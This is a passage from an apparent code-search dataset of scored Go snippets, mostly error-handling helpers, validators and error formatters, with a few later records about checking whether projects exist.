stderr)\n\t}\n\n\tif len(tests) == 0 {\n\t\treturn errors.New(\"no // ERROR comments found\")\n\t}\n\n\tfor _, test := range tests {\n\t\t// Get output from program/templates and check if it matches with the\n\t\t// expected error.\n\t\texitCode, stdout, stderr := cmd([]byte(test.src), opts, \"build\", ext)\n\t\tif exitCode == 0 {\n\t\t\treturn fmt.Errorf(\"expecting error '%s' but exit code is 0\", test.err)\n\t\t}\n\t\tif len(stdout) > 0 {\n\t\t\treturn errors.New(\"stdout should be empty\")\n\t\t}\n\t\tif len(stderr) == 0 {\n\t\t\treturn fmt.Errorf(\"expected error '%s', got nothing\", test.err)\n\t\t}\n\t\tre := regexp.MustCompile(test.err)\n\t\tstderr = []byte(removePrefixFromError(string(stderr)))\n\t\tif !re.Match(stderr) {\n\t\t\treturn fmt.Errorf(\"output does not match with the given regular expression:\\n\\n\\tregexp: %s\\n\\toutput: %s\\n\", test.err, stderr)\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "95cf17ad95012bed7225dd121a7f7ee4", "score": "0.5530867", "text": "func (lex *Lexer) errorf(format string, args ...interface{}) error {\n\treturn &Error{Msg: fmt.Sprintf(format, args...), Pos: lex.getPos()}\n}", "title": "" }, { "docid": "492a1972493ec5ab7b998d61d6491960", "score": "0.55258834", "text": "func checkRetcode(retcode int) error {\n\tswitch retcode {\n\tcase DDSRetCodeOK:\n\tcase DDSRetCodeNoData:\n\t\treturn errors.New(\"DDS Exceptrion: No Data\")\n\tcase DDSRetCodeTimeout:\n\t\treturn errors.New(\"DDS Exception: Timeout\")\n\tdefault:\n\t\treturn errors.New(\"DDS Exception: \" + C.GoString((*C.char)(C.RTI_Connector_get_last_error_message)))\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "86e3753e1264789e78203d31d54f22ef", "score": "0.5498818", "text": "func (model *GLM) failMessage(optrslt *optimize.Result) {\n\n\tos.Stderr.WriteString(\"Current point and gradient:\\n\")\n\tfor j, x := range optrslt.X {\n\t\tos.Stderr.WriteString(fmt.Sprintf(\"%16.8f %16.8f %s\\n\", x, optrslt.Gradient[j], model.varnames[model.xpos[j]]))\n\t}\n\n\t// Get the mean and standard deviation of covariates.\n\tmn := make([]float64, len(model.xpos))\n\tsd := make([]float64, len(model.xpos))\n\tfor j := range model.xpos {\n\t\tfor i := 0; i < model.NumObs(); i++ {\n\t\t\tmn[j] += float64(model.data[j][i])\n\t\t}\n\t\tmn[j] /= float64(model.NumObs())\n\t}\n\tfor j := range model.xpos {\n\t\tfor i := 0; i < model.NumObs(); i++ {\n\t\t\tu := float64(model.data[j][i]) - mn[j]\n\t\t\tsd[j] += u * u\n\t\t}\n\t\tsd[j] /= float64(model.NumObs())\n\t}\n\n\tos.Stderr.WriteString(\"\\nCovariate means and standard deviations:\\n\")\n\tfor j, k := range model.xpos {\n\t\tos.Stderr.WriteString(fmt.Sprintf(\"%16.8f %16.8f %s\\n\", mn[j], sd[j],\n\t\t\tmodel.varnames[k]))\n\t}\n}", "title": "" }, { "docid": "8edc50356dbcbf5d0ce6282efc08b817", "score": "0.54979223", "text": "func (eim ErrInvalidMtu) BadRequest() {}", "title": "" }, { "docid": "c1c12a747ea1bf6934710e1bff228038", "score": "0.5497034", "text": "func encodeErr(err error) int8 {\n\tif err == nil {\n\t\treturn 0\n\t}\n\n\te := err.(*ngError)\n\tswitch e {\n\tcase NilError:\n\t\treturn 1\n\tcase ShapeError:\n\t\treturn 2\n\tcase ReshapeError:\n\t\treturn 3\n\tcase NegativeAxis:\n\t\treturn 4\n\tcase IndexError:\n\t\treturn 5\n\tcase InvIndexError:\n\t\treturn 6\n\tcase FoldMapError:\n\t\treturn 7\n\t}\n\treturn -1\n}", "title": "" }, { "docid": "8fce15a867424717e22c4c2c6bd4dfde", "score": "0.5472713", "text": "func (vm *VM) raiseError(format string, err ...interface{}) {\n\tif len(err) > 0 {\n\t\tfmt.Printf(format, err...)\n\t\treturn\n\t}\n\tinstruction := vm.ip - 1\n\tline := vm.chunk.lines[instruction]\n\tfmt.Printf(\"[Ln %d] Runtime Error: %s\", line, format)\n\tvm.stackTop = 0\n}", "title": "" }, { "docid": "0449fef8bbf9c6e2b034bf7fe5458525", "score": "0.54700905", "text": "func NewErr(t interface{}, e error, m, ct string) Errx {\n\tu := uuid.NewString()[24:] //32 bit id with 4 -, we want the last 12 unique number to identify the error\n\tbadrequest := &errxBadRequest{&errx{UMsg: m, Ctx: ct, InnerErr: e, uid: u}}\n\tbadgtway := &errxGateway{&errx{UMsg: m, Ctx: ct, InnerErr: e, uid: u}}\n\tintsrv := &errxIntServer{&errx{UMsg: m, Ctx: ct, InnerErr: e, uid: u}}\n\tunauth := &errxUnatuho{&errx{UMsg: m, Ctx: ct, InnerErr: e, uid: u}}\n\tforbid := &errxForbid{&errx{UMsg: m, Ctx: ct, InnerErr: e, uid: u}}\n\tnotfnd := &errxNotFound{&errx{UMsg: m, Ctx: ct, InnerErr: e, uid: u}}\n\tsrvunav := &errxServUnavail{&errx{UMsg: m, Ctx: ct, InnerErr: e, uid: u}}\n\tswitch t.(type) {\n\tcase *ErrJSONBind:\n\t\treturn &ErrJSONBind{badrequest}\n\tcase *ErrNotFound:\n\t\treturn &ErrNotFound{notfnd}\n\tcase *ErrDuplicate:\n\t\treturn &ErrDuplicate{badrequest}\n\tcase *ErrInvalid:\n\t\treturn &ErrInvalid{badrequest}\n\tcase *ErrQuery:\n\t\treturn &ErrQuery{badgtway}\n\tcase *ErrCacheQuery:\n\t\treturn &ErrCacheQuery{badgtway}\n\tcase *ErrEncrypt:\n\t\treturn &ErrEncrypt{intsrv}\n\tcase *ErrTokenExpired:\n\t\treturn &ErrTokenExpired{unauth}\n\tcase *ErrInsuffPrivlg:\n\t\treturn &ErrInsuffPrivlg{forbid}\n\tcase *ErrLogin:\n\t\treturn &ErrLogin{unauth}\n\tcase *ErrConnFailed:\n\t\treturn &ErrConnFailed{srvunav}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "b896f7bbaa0dd837f14c055c16078a7d", "score": "0.54615504", "text": "func addError(err *Error) *Error {\n\te, ok := Errors[err.Code]\n\tif ok {\n\t\tlog.Fatalf(\"duplate error code: %v, %v\", e, err)\n\t}\n\n\tErrors[err.Code] = err\n\treturn err\n}", "title": "" }, { "docid": "28bd11a95805d95a970b171d03af743a", "score": "0.54554534", "text": "func (e PlaygroundFailure_ErrorValidationError) Reason() string { return e.reason }", "title": "" }, { "docid": "ccd6172fd8a031fadd9443aa37935c74", "score": "0.5444386", "text": "func serverError(format string, args ...interface{}) error {\n\treturn fmt.Errorf(\"cri/server: \"+format, args...)\n}", "title": "" }, { "docid": "51a2e2fa36270e75ac1ca8d414922d7c", "score": "0.54406357", "text": "func (t *Tree) errorf(format string, args ...interface{}) {\n\tformat = fmt.Sprintf(\"parse: %s:%d: %s\", t.Name, t.lex.lineNumber(), format)\n\tpanic(fmt.Errorf(format, args...))\n}", "title": "" }, { "docid": "679d2490140fcee430539d48b4a47947", "score": "0.54398793", "text": "func must(err error, msg string) {\n\tif err != nil {\n\t\ts := err.Error()\n\t\tif msg != \"\" {\n\t\t\ts = msg + \": \" + s\n\t\t}\n\t\tlog.Fatal(s)\n\t}\n}", "title": "" }, { "docid": "f45c274d90b3a0c7f5c273a76bbb6485", "score": "0.5434702", "text": "func (vm *VM) returnError(msg string) {\n\terr := &Error{Message: msg}\n\tvm.stack.push(&Pointer{err})\n\tpanic(errorMessage(msg))\n}", "title": "" }, { "docid": "4c730e5019808bc67adf4d1f4f462c81", "score": "0.5429617", "text": "func generateVarError() error {\n\treturn errMyVarError\n}", "title": "" }, { "docid": "ea58c9481c226299dd6e42eecb26d53b", "score": "0.5417161", "text": "func checkError(err error) error {\n\tif err != nil {\n\t\tfmt.Fprintln(os.Stderr, \"Error \", err.Error())\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "23dfeb175f413e712eba733c874212af", "score": "0.54169774", "text": "func WithMessage(err error, msg string) error { return errutil.WithMessage(err, msg) }", "title": "" }, { "docid": "eae11a830f7229425b542ac5af80f97f", "score": "0.54167044", "text": "func (p list) Error() string {\n\tformat, args := p.Msg()\n\treturn fmt.Sprintf(format, args...)\n}", "title": "" }, { "docid": "2423935cb29eec1a69074a4ceac1f3eb", "score": "0.54129016", "text": "func wrapErr(err error, code int, fmtAndArgs ...interface{}) *MErr {\n\tmsg := fmtErrMsg(fmtAndArgs...)\n\tif err == nil {\n\t\terr = errors.New(msg)\n\t}\n\tif e, ok := err.(*MErr); ok {\n\t\tif msg != \"\" {\n\t\t\te.Msg = msg\n\t\t}\n\t\tif code != 0 {\n\t\t\te.Code = code\n\t\t}\n\t\treturn e\n\t}\n\n\tpcs := make([]uintptr, 32)\n\t// skip the first 3 invocations\n\tcount := runtime.Callers(3, pcs)\n\te := &MErr{\n\t\tCode: code,\n\t\tMsg: msg,\n\t\trawErr: err,\n\t\tstackPC: pcs[:count],\n\t}\n\tif e.Msg == \"\" {\n\t\te.Msg = err.Error()\n\t}\n\treturn e\n}", "title": "" }, { "docid": "b376a04a18ce92f6ba6bb4f1a8ccf79d", "score": "0.54128635", "text": "func reportError(format string, a ...interface{}) error {\n\treturn fmt.Errorf(format, a...)\n}", "title": "" }, { "docid": "b376a04a18ce92f6ba6bb4f1a8ccf79d", "score": "0.54128635", "text": "func reportError(format string, a ...interface{}) error {\n\treturn fmt.Errorf(format, a...)\n}", "title": "" }, { "docid": "e462a2238cfdcc36e7105aade64aa6e7", "score": "0.54094726", "text": "func StandardErr(err error) error {\n\tstack, err := Prettify(err)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tmsg, err := TextFormatter(stack, DefaultTextFormat)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn errors.New(\"\\n\" + msg)\n}", "title": "" }, { "docid": "5ff7da24fa1ea96c7be5bf70ec706936", "score": "0.5404434", "text": "func (AggregationSum) err() error { return nil }", "title": "" }, { "docid": "bbe4cbce13d9dff40e56a8e29c7c332f", "score": "0.54011375", "text": "func LinkError(msg1 string, msg2 string, msg3 string, msg4 string, msg5 string) {\n PrintHead();\n libgogo.PrintString(\": linker error: \");\n libgogo.PrintString(msg1);\n libgogo.PrintString(msg2);\n libgogo.PrintString(msg3);\n libgogo.PrintString(msg4);\n libgogo.PrintString(msg5);\n libgogo.PrintString(\"\\n\");\n libgogo.Exit(5);\n}", "title": "" }, { "docid": "5f985c40a122236f897c26506f220bc1", "score": "0.5398828", "text": "func numError(err error) error {\n\tne, ok := err.(*strconv.NumError)\n\tif !ok {\n\t\treturn err\n\t}\n\n\tswitch ne.Err {\n\tcase strconv.ErrSyntax:\n\t\treturn errParse\n\tcase strconv.ErrRange:\n\t\treturn errRange\n\tdefault:\n\t\treturn err\n\t}\n}", "title": "" }, { "docid": "00f4bd883ca901ca6be3899212ca6b2a", "score": "0.53986347", "text": "func Error(errName string, vs ...string) error {\n\treturn errValues[errName].(ErrFunc)(vs...)\n}", "title": "" }, { "docid": "25eb96aacc24ed16022e6bfb09c2d99d", "score": "0.5398535", "text": "func buildSimpleMessage(err error) string {\n\tif err == nil {\n\t\treturn \"\"\n\t}\n\n\tmb := strings.Builder{}\n\tisFirstMsg := true\n\tcause := err\n\tfor cause != nil {\n\t\tcauseEx := errorx.Cast(cause)\n\t\tvar msg string\n\t\tif causeEx == nil {\n\t\t\t// cause exists, but is not an errorx type\n\t\t\tmsg = cause.Error()\n\t\t} else {\n\t\t\tmsg = causeEx.Message()\n\t\t}\n\n\t\tif len(msg) > 0 {\n\t\t\tif !isFirstMsg {\n\t\t\t\tmb.WriteString(\", caused by: \")\n\t\t\t}\n\t\t\tmb.WriteString(msg)\n\t\t\tisFirstMsg = false\n\t\t}\n\n\t\tif causeEx == nil {\n\t\t\t// This is already an error interface. It is not possible to get cause any more.\n\t\t\tbreak\n\t\t}\n\t\tcause = causeEx.Cause()\n\t}\n\n\tif isFirstMsg {\n\t\t// No message is successfully extracted\n\t\treturn err.Error()\n\t}\n\treturn mb.String()\n}", "title": "" }, { "docid": "eec81161b6eca9127acec49d5b58e04e", "score": "0.53983504", "text": "func (e *networkConfigTestError) Error() string {\n\tvar str strings.Builder\n\tif len(e.vpcError) != 0 {\n\t\tstr.WriteString(\"\\nVPC errors:\")\n\t\tfor _, item := range e.vpcError {\n\t\t\tstr.WriteString(fmt.Sprintf(\"\\n\\t%s\", item.Error()))\n\t\t}\n\t}\n\tif len(e.subnetsError) != 0 {\n\t\tstr.WriteString(\"\\nSubnet errors:\")\n\t\tfor _, item := range e.subnetsError {\n\t\t\tstr.WriteString(fmt.Sprintf(\"\\n\\t%s\", item.Error()))\n\t\t}\n\t}\n\tif len(e.securityGroupError) != 0 {\n\t\tstr.WriteString(\"\\nSecurity Group errors:\")\n\t\tfor _, item := range e.securityGroupError {\n\t\t\tstr.WriteString(fmt.Sprintf(\"\\n\\t%s\", item.Error()))\n\t\t}\n\t}\n\tif len(e.peeringConnError) != 0 {\n\t\tstr.WriteString(\"\\nPeering Connection errors:\")\n\t\tfor _, item := range e.peeringConnError {\n\t\t\tstr.WriteString(fmt.Sprintf(\"\\n\\t%s\", item.Error()))\n\t\t}\n\t}\n\tif len(e.standaloneRouteTableError) != 0 {\n\t\tstr.WriteString(\"\\nStandalone Route Table errors:\")\n\t\tfor _, item := range e.standaloneRouteTableError {\n\t\t\tstr.WriteString(fmt.Sprintf(\"\\n\\t%s\", item.Error()))\n\t\t}\n\t}\n\tif len(e.clusterRouteTablesError) != 0 {\n\t\tstr.WriteString(\"\\nCluster Route Table errors:\")\n\t\tfor _, item := range e.clusterRouteTablesError {\n\t\t\tstr.WriteString(fmt.Sprintf(\"\\n\\t%s\", item.Error()))\n\t\t}\n\t}\n\tif len(e.rdsSubnetGroupsError) != 0 {\n\t\tstr.WriteString(\"\\nRDS Subnet Groups errors:\")\n\t\tfor _, item := range e.rdsSubnetGroupsError {\n\t\t\tstr.WriteString(fmt.Sprintf(\"\\n\\t%s\", item.Error()))\n\t\t}\n\t}\n\tif len(e.cacheSubnetGroupsError) != 0 {\n\t\tstr.WriteString(\"\\nElasticache Subnet Groups errors:\")\n\t\tfor _, item := range e.cacheSubnetGroupsError {\n\t\t\tstr.WriteString(fmt.Sprintf(\"\\n\\t%s\", item.Error()))\n\t\t}\n\t}\n\treturn str.String()\n}", "title": "" }, { "docid": "8161cb3dedef984e73df36d191af144a", "score": "0.5397731", "text": "func TestCalcError(t *testing.T) {\n\n\ttables := []struct {\n\t\ta float64\n\t\tb float64\n\t\tmethod calculatepb.Calculation_Method\n\t\tcode codes.Code\n\t}{\n\t\t{2, 0, calculatepb.Calculation_DIV, codes.InvalidArgument},\n\t\t{2, 0, calculatepb.Calculation_ROOT, codes.InvalidArgument},\n\t}\n\n\ts := server{}\n\n\tfor _, table := range tables {\n\t\tresult, err := s.calc(table.a, table.b, table.method)\n\t\tst, _ := status.FromError(err)\n\n\t\tif st.Code() != table.code {\n\t\t\tt.Errorf(\"Unexpected error: Got %v instead of %v\", err, table.code)\n\t\t}\n\t\tif result != 0 {\n\t\t\tt.Errorf(\"Incorrect. Got %v instead of 0\", result)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "4ea0272595b9752e826a37bb2296a24c", "score": "0.53958476", "text": "func (g *gpbTestControl) errorFn(failure string) {\n\tif g.t != nil {\n\t\tg.t.Errorf(failure)\n\t} else if g.b != nil {\n\t\tg.b.Errorf(failure)\n\t}\n}", "title": "" }, { "docid": "8a700660ba7754fec1a50b4aae2fbb17", "score": "0.53893596", "text": "func (v *Validator) validationError(msg string, saFieldName string, namespace string) error {\n\tsaAlias, err := v.getAlias(saFieldName, namespace)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn serviceerror.NewInvalidArgument(fmt.Sprintf(msg, saAlias))\n}", "title": "" }, { "docid": "7b9b7817869c54e29688b858cc6b14eb", "score": "0.5389247", "text": "func getErrorBag(errs error) ErrorBag {\r\n\terrorBag := make(ErrorBag)\r\n\tif errs == nil {\r\n\t\treturn errorBag\r\n\t}\r\n\tfor _, err := range errs.(externalValidator.ValidationErrors) {\r\n\t\terrorBag.Add(&validationError{\r\n\t\t\tField: err.Field(),\r\n\t\t\tStructField: err.StructField(),\r\n\t\t\tValue: err.Value(),\r\n\t\t\tParam: err.Param(),\r\n\t\t\tTag: err.Tag(),\r\n\t\t})\r\n\t}\r\n\r\n\treturn errorBag\r\n}", "title": "" }, { "docid": "ff6b0c59040a37dd47c39701e7a2c487", "score": "0.53875715", "text": "func (e PlaygroundFailure_ErrorValidationError) Cause() error { return e.cause }", "title": "" }, { "docid": "0d538ca1062d003387e07194ccf7ced8", "score": "0.53859097", "text": "func CPrintlnErr(text string) {\n\tfmt.Println(aurora.Red(\"\\n\" + text).Bold())\n}", "title": "" }, { "docid": "4d3f2dac10b04ddaa7d0a630bc6730d8", "score": "0.5385752", "text": "func (c *errCode) Error() string {\n\treturn fmt.Sprintf(\"%s %v %s pkg: %s\",c.ec.Name(), c.ec.Code(), c.ec.Description(), c.ec.Package()) + \": \" + c.cause.Error()\n}", "title": "" }, { "docid": "79d797ab4349ca65464bda9e1d305a09", "score": "0.53828835", "text": "func buildError(errorStr string) (jsonResp string){\n\tjsonResp = \"{\\\"Error\\\":\\\"\"+errorStr+\"\\\"}\"\n\tlogger.Error(\"return: \"+ jsonResp)\n\treturn\n}", "title": "" }, { "docid": "812475b42b9d7ff15510a6c0cd3afee3", "score": "0.53820735", "text": "func (m *manager) shortCircuitErr(err error) bool {\n\ts := err.Error()\n\treturn strings.Contains(s, errUnauth) ||\n\t\tstrings.Contains(s, errNotFound) ||\n\t\tstrings.Contains(s, errApigeeDown)\n}", "title": "" }, { "docid": "6d4a0d55de5c660c5de736013a186164", "score": "0.537171", "text": "func (fm *Frame) errorpf(begin, end int, format string, args ...interface{}) {\n\tfm.begin, fm.end = begin, end\n\tthrowf(format, args...)\n}", "title": "" }, { "docid": "ff24bf45a547f74e2227da6ba9ce1b82", "score": "0.5371392", "text": "func (l *Lexer) errorf(format string, args ...interface{}) {\n\tmsg := fmt.Sprintf(format, args...)\n\terr := make(map[string]string)\n\n\terr[\"lexical\"] = \"error\"\n\terr[\"line\"] = fmt.Sprintf(\"%d\", l.Line)\n\terr[\"msg\"] = msg\n\n\tj, _ := json.Marshal(err)\n\tos.Stderr.Write(j)\n\tos.Exit(1)\n}", "title": "" }, { "docid": "13bf68f69a6cf315fbc8a2ea907604c8", "score": "0.536436", "text": "func Command_Error(script *rex.Script, params []*rex.Value) {\n\tif len(params) != 0 && len(params) != 1 {\n\t\trex.ErrorParamCount(\"error\", \"0 or 1\")\n\t}\n\n\tif len(params) == 0 {\n\t\tscript.RetVal = rex.NewValueBool(script.Error)\n\t\treturn\n\t}\n\tscript.Error = params[0].Bool()\n}", "title": "" }, { "docid": "94bce269a73304fc9c1ff8d0f592f532", "score": "0.53639346", "text": "func check(n Node) int {\n\t// TODO(jsternberg): Fill in the details for how we retrieve errors.\n\tswitch n := n.(type) {\n\tcase *BadStatement:\n\t\tloc := n.Location()\n\t\t// TODO(nathanielc): Remove the location information from the error message once we have a way to report the location information as part of the errors.\n\t\tn.Errors = append(n.Errors, Error{\n\t\t\tMsg: fmt.Sprintf(\"invalid statement %s@%d:%d-%d:%d: %s\", loc.File, loc.Start.Line, loc.Start.Column, loc.End.Line, loc.End.Column, n.Text),\n\t\t})\n\tcase *ObjectExpression:\n\t\thasImplicit := false\n\t\thasExplicit := false\n\t\tfor _, p := range n.Properties {\n\t\t\tif p.BaseNode.Errors == nil {\n\t\t\t\tif p.Value == nil {\n\t\t\t\t\thasImplicit = true\n\t\t\t\t\tif s, ok := p.Key.(*StringLiteral); ok {\n\t\t\t\t\t\tp.Errors = append(p.Errors, Error{\n\t\t\t\t\t\t\tMsg: fmt.Sprintf(\"string literal key %q must have a value\", s.Value),\n\t\t\t\t\t\t})\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\thasExplicit = true\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif hasImplicit && hasExplicit {\n\t\t\tn.Errors = append(n.Errors, Error{\n\t\t\t\tMsg: \"cannot mix implicit and explicit properties\",\n\t\t\t})\n\t\t}\n\tcase *PipeExpression:\n\t\tif n.Call == nil {\n\t\t\tn.Errors = append(n.Errors, Error{\n\t\t\t\tMsg: \"pipe destination is missing\",\n\t\t\t})\n\t\t}\n\tcase *BinaryExpression:\n\t\tif n.Left == nil {\n\t\t\tn.Errors = append(n.Errors, Error{\n\t\t\t\tMsg: \"missing left hand side of expression\",\n\t\t\t})\n\t\t}\n\t\tif n.Right == nil {\n\t\t\tn.Errors = append(n.Errors, Error{\n\t\t\t\tMsg: \"missing right hand side of expression\",\n\t\t\t})\n\t\t}\n\t\tif n.Operator == 0 {\n\t\t\tn.Errors = append(n.Errors, Error{\n\t\t\t\tMsg: \"expected an operator between two expressions\",\n\t\t\t})\n\t\t}\n\t}\n\n\treturn len(n.Errs())\n}", "title": "" }, { "docid": "bff98ef39a63b177f29ceb793e4b8dea", "score": "0.5361196", "text": "func foliaErr(q *Context, err error) bool {\n\tif err == nil {\n\t\treturn false\n\t}\n\n\ts := err.Error()\n\n\tvar s1 string\n\t_, filename, lineno, ok := runtime.Caller(1)\n\tif ok {\n\t\ts1 = fmt.Sprintf(\"FOUT: %v:%v: %v\", filepath.Base(filename), lineno, s)\n\t} else {\n\t\ts1 = \"FOUT: \" + s\n\t}\n\tchLog <- s1\n\n\tfp, e := os.Create(filepath.Join(foliadir(q), \"error.txt\"))\n\tif e == nil {\n\t\tdefer fp.Close()\n\t\tfmt.Fprintln(fp, s)\n\t}\n\treturn true\n}", "title": "" }, { "docid": "5ca0b6b56d199d5a192a168b048493fe", "score": "0.5360922", "text": "func (ev *evaluator) error(err error) {\n\tpanic(err)\n}", "title": "" }, { "docid": "5ca0b6b56d199d5a192a168b048493fe", "score": "0.5360922", "text": "func (ev *evaluator) error(err error) {\n\tpanic(err)\n}", "title": "" }, { "docid": "292bb20163474f00c8902a12d567f493", "score": "0.5360581", "text": "func formatError(pos Position, message string) string {\n\tmsg := \"\"\n\tif pos.Filename != \"\" {\n\t\tmsg += pos.Filename + \":\"\n\t}\n\tif pos.Line != 0 || pos.Column != 0 {\n\t\tmsg += fmt.Sprintf(\"%d:%d:\", pos.Line, pos.Column)\n\t}\n\tif msg != \"\" {\n\t\tmsg += \" \" + message\n\t} else {\n\t\tmsg = message\n\t}\n\treturn msg\n}", "title": "" }, { "docid": "2cd85f3986aa064ea2fb1c4e869da1c1", "score": "0.535818", "text": "func writeError(w http.ResponseWriter, err error) {\n\tlog.Println(err)\n\t// check error type and return\n\tswitch err {\n\tcase utils.ErrSuspiciousInput:\n\t\thttp.Error(w, \"Input contains special characters.\", http.StatusBadRequest)\n\tcase utils.ErrToManyRows:\n\t\t// confuse attacker with misleading messeges.\n\t\thttp.Error(w, \"No matches for input.\", http.StatusBadRequest)\n\tdefault:\n\t\thttp.Error(w, \"We encountered an unexpected error retrieving the data.\", http.StatusInternalServerError)\n\t}\n}", "title": "" }, { "docid": "9ca3b69a19b3173c2e14e9b9ddb118c2", "score": "0.5356397", "text": "func contentValErr(ce Entry, errIn error) (errOut error) {\r\n\treturn fmt.Errorf(\"Error validating content: %v; complete content entry is: %v\", errIn, ce)\r\n}", "title": "" }, { "docid": "7feeea832ad4e392bf9dda5f37642102", "score": "0.535197", "text": "func E(args ...interface{}) error {\n\terr := &Error{}\n\tfor _, arg := range args {\n\t\tswitch arg := arg.(type) {\n\t\tcase *mulch.Account:\n\t\t\terr.account = arg\n\t\tcase codes.Code:\n\t\t\terr.code = arg\n\t\tcase string:\n\t\t\terr.message = arg\n\t\tcase error:\n\t\t\terr.err = arg\n\t\tcase nil:\n\t\tdefault:\n\t\t\treturn fmt.Errorf(\"unknown type %T (%v) in error call\", arg, arg)\n\t\t}\n\t}\n\treturn err\n}", "title": "" }, { "docid": "3d58ad9262431baae31d150bfc5890fa", "score": "0.53508294", "text": "func wrapErr(err error) error {\n\tif perr, ok := err.(*textproto.Error); ok {\n\t\tswitch perr.Code {\n\t\tcase ftp.StatusFileUnavailable:\n\t\t\treturn &vfs.ResourceNotFoundError{Cause: err}\n\t\tcase ftp.StatusBadFileName:\n\t\t\treturn &vfs.PermissionDeniedError{Cause: err}\n\t\t}\n\t}\n\treturn err\n}", "title": "" }, { "docid": "2623aa797c0d818550d7be9aa5c53bd1", "score": "0.53474027", "text": "func (s *introScanner) errorf(format string, args ...interface{}) {\n\tformat = fmt.Sprintf(\"parser: %s:%d: %s\", s.name, s.line, format)\n\tpanic(fmt.Errorf(format, args...))\n}", "title": "" }, { "docid": "8d08d6f1820b4b194825f605fead3553", "score": "0.53463185", "text": "func (c *coder) error(e error) {\n\tpanic(e)\n}", "title": "" }, { "docid": "fd0052a5fcc4cc53f7c9f48267d9d888", "score": "0.5343876", "text": "func str2err(s string) error {\n\tif s == \"\" {\n\t\treturn nil\n\t}\n\treturn errors.New(s)\n}", "title": "" }, { "docid": "587530c03e9798a4eea35ac8d88a0f75", "score": "0.5342773", "text": "func powerPlusOneHandlingError(x int) (int, error) {\n\tsqr := func(x int) (int, error) {\n\t\tif x < 0 {\n\t\t\treturn 0, errors.New(\"x should not be negative\")\n\t\t}\n\t\treturn x * x, nil\n\t}\n\tinc := func(x int) int { return x + 1 }\n\ty, err := sqr(x)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\treturn inc(y), nil\n}", "title": "" }, { "docid": "306b3379b14206b9609a91f80ac002ad", "score": "0.53424335", "text": "func prefixErr(ctx context.Context, add string) context.Context {\n\tif s, ok := ctx.Value(ctxErr).(string); ok {\n\t\treturn context.WithValue(ctx, ctxErr, strings.Join([]string{s, add}, \"\"))\n\t}\n\treturn context.WithValue(ctx, ctxErr, add)\n}", "title": "" } ]
f898743675c3696aae17558d7b49042a
error handling in case no projects are found
[ { "docid": "fd84e5a61418de92b3b5c8391c0f57a6", "score": "0.57234323", "text": "func hasProjects(db *gorm.DB) bool {\n\tvar projects []Project\n\tif err := db.Find(&projects).Error; err != nil {\n\t\treturn false\n\t}\n\treturn true\n}", "title": "" } ]
[ { "docid": "2a2b656abfe080fc7b96f9bd5daa0ffa", "score": "0.6615741", "text": "func DieIfNoProject() {\n\tif _, err := os.Stat(\"PROJECT\"); os.IsNotExist(err) {\n\t\tlog.Fatalf(\"Command must be run from a diretory containing %s\", \"PROJECT\")\n\t}\n}", "title": "" }, { "docid": "dcdc9f66d31303719aba4c194b27b42c", "score": "0.66042393", "text": "func IsEmptyProj(err error) bool {\n\tif fmt.Sprintf(\"%v\", err) == \"No project exists\" {\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "7e0e3d02917315b298fa82bb26b6ea53", "score": "0.6514314", "text": "func (e UserEdges) ProjectsOrErr() ([]*Project, error) {\n\tif e.loadedTypes[0] {\n\t\treturn e.Projects, nil\n\t}\n\treturn nil, &NotLoadedError{edge: \"projects\"}\n}", "title": "" }, { "docid": "b10ae4b5c64787b2761fe8ef88c68505", "score": "0.61855495", "text": "func mustBeNewProject() {\n\tfp := filepath.Join(mustGetwd(), projectName)\n\tstat, err := os.Stat(fp)\n\tif err != nil && os.IsNotExist(err) {\n\t\treturn\n\t}\n\tif err != nil {\n\t\tcmdError.ExitWithError(cmdError.ExitError, fmt.Errorf(\"failed to determine if project (%v) exists\", projectName))\n\t}\n\tif stat.IsDir() {\n\t\tcmdError.ExitWithError(cmdError.ExitBadArgs, fmt.Errorf(\"project (%v) exists. please use a different project name or delete the existing one\", projectName))\n\t}\n}", "title": "" }, { "docid": "6a9d0f42e76d3dfd0814f8a644ad5523", "score": "0.6125459", "text": "func checkProject(as []interface{}, projectID int) error {\n\tfor _, a := range as {\n\t\tlinks := a.(map[string]interface{})[\"links\"].([]interface{})\n\t\tfor _, l := range links {\n\t\t\thref := l.(map[string]interface{})[\"href\"].(string)\n\t\t\tidx := strings.LastIndex(href, \"/\")\n\t\t\tid, err := strconv.Atoi(href[idx+1:])\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"invalid project ID %q\", href[idx+1:])\n\t\t\t}\n\t\t\tif id == projectID {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}\n\treturn fmt.Errorf(\"session does not give access to project %d\", projectID)\n}", "title": "" }, { "docid": "eb65c407247f756de5b0a9628da70365", "score": "0.6120989", "text": "func validateProject(p *Project) error {\n\tif p.Name == \"\" {\n\t\treturn fmt.Errorf(\"missing required fields: %s\", \"Name\")\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "1d965a6b5a0672c78e4a6a70e0bd5b8a", "score": "0.5967509", "text": "func checkProjectDir() {\n\tif !fpExists(projectDirFlag) {\n\t\tprojectDir = defaultProjectDir\n\t}\n\tfor _, subdir := range []string{templatesDirName} {\n\t\tif !fpExists(filepath.Join(projectDir, subdir)) {\n\t\t\tpanic(fmt.Errorf(\"project directory %s does not contain subdir %s\", projectDir, subdir))\n\t\t}\n\t}\n}", "title": "" }, { "docid": "c21a5c3ab0d234e4e6ce33be0c4dac05", "score": "0.5937335", "text": "func isProjectExists(projectName string) bool {\n\tprojects, err := getProjects()\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tfor _, name := range projects {\n\t\tif name == projectName {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "fa881c319227d4d194c688b948ea2248", "score": "0.5923718", "text": "func projectAction() bool {\n\n\tindex, _ := executeSelect(\"What would you like to do?\", projectActions)\n\tif index != -1 {\n\t\tvar result, err 